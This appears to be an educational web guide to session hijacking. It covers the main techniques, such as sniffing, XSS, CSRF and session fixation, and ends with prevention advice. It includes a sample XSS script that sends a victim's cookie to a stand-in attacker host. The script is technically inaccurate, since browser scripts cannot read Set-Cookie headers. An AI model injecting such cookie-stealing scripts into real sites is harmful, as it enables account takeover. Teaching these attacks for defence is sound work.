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Session Hijacking Attack
Table of Contents
This guide highlights the concept of session hijacking, attack techniques, types of attacks, examples, prevention and mitigation in cyber security.
What is Session Hijacking?
Session hijacking is a cyber attack where an attacker steals a legitimate user's session ID or cookie in order to impersonate them and gain unauthorized access to a web application or service.
Understanding Sessions
- Web applications rely on sessions to maintain user state across multiple requests.
- When you log in, a unique identifier (session token) is generated and stored on your browser (often in cookies).
- Subsequent requests include this token, allowing the server to recognize you.
How Session Hijacking Works?
Session hijacking exploits the web session control mechanism, which is inherently vulnerable due to its reliance on session tokens or cookies for identifying users. These tokens are often transmitted over networks and can be intercepted or manipulated if not properly secured.
Here's a breakdown of the process:
1) Acquisition
The attacker acquires a valid session token through various methods like sniffing network traffic, predicting session token generation, or cross-site scripting attacks.
2) Exploitation
With the valid token, the attacker can perform any action that the legitimate user is authorized to do, such as accessing sensitive data, performing transactions, or changing user settings.
Types of Session Hijacking Attacks
Session hijacking is generally classified into two ways in which they operate i.e. active and passive. There are different types of attacks based on the technique used to steal the session ID.
Techniques of Session Hijacking
Deceptive tactics enable attackers to hijack sessions. Here are common methods:
1. Session Sniffing
In unsecured networks (such as public Wi-Fi), attackers use packet sniffers to capture data. If the communication is not encrypted (http instead of https), they can steal your session ID transmitted between your browser and the server.
2. Cross-Site Scripting
Here, the attacker injects malicious JavaScript code into a web page viewed by other users. The script sends the users’ session cookies to the attacker.
3. Cross-Site Request Forgery
Here, the attacker tricks the victim into executing actions on a web application in which they're authenticated, using their session token.
4. Session Fixation
The attacker forces a user's session ID to an explicit value that is already known to them. If the application doesn't assign a new session ID at login, the attacker can use this fixed session ID to gain access to the user’s session after they log in.
5. Session Sidejacking
Also known as "session hijacking over WiFi," involves the attacker using packet sniffing to read network traffic between two parties to steal the session cookie.
6. Man-in-the-Middle Attack
This involves intercepting and possibly altering the communication between two parties who believe they are directly communicating with each other.
7. Man-in-the-Browser Attack
The attacker uses malware to infect a user's browser, allowing them to intercept or modify web sessions directly within the browser.
Example of Session Hijacking Attack
Session Hijacking using XSS Attack
Here's a basic example of how an XSS attack could be used for session hijacking. This JavaScript code snippet is designed to be injected into a vulnerable web page:
<script type="text/javascript">
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://example.com/", true);
xhr.onload = function () {
var userSession = xhr.getResponseHeader("Set-Cookie");
var attackerServer = "http://attacker.example.com/";
var xhr2 = new XMLHttpRequest();
xhr2.open("GET", attackerServer + "?cookie=" + encodeURIComponent(userSession), true);
xhr2.send();
};
xhr.send();
</script>
This script sends a GET request to a page on the victim's site, captures the "Set-Cookie" header (which contains the session ID), and then sends it to the attacker's server. It's a simplified example to illustrate the concept.
Prevention and Mitigation
- Always regenerate a new session ID after a successful login. This means even if an attacker has fixed the session ID before login, the ID will change and invalidate their access.
- Mark cookies as secure and HttpOnly. This makes it harder for attackers to intercept or manipulate the session cookie.
- Store session data in a secure manner and validate sessions rigorously. This might include checking IP addresses, user-agent strings, or other factors to ensure the session is not hijacked.
- Encrypt the entire session with SSL/TLS. This reduces the risk of session IDs being captured through man-in-the-middle attacks.
- Set a timeout for session validity and expire sessions on the server side after a period of inactivity or outright log out after a certain time.
- Always validate and sanitize input from all sources to prevent cross-site scripting (XSS) attacks, which can be used in conjunction with session fixation.
- Enable two-factor authentication (2FA) which adds an extra layer of security by requiring a second verification code during login, making it harder for attackers to hijack your session, even if they steal the password.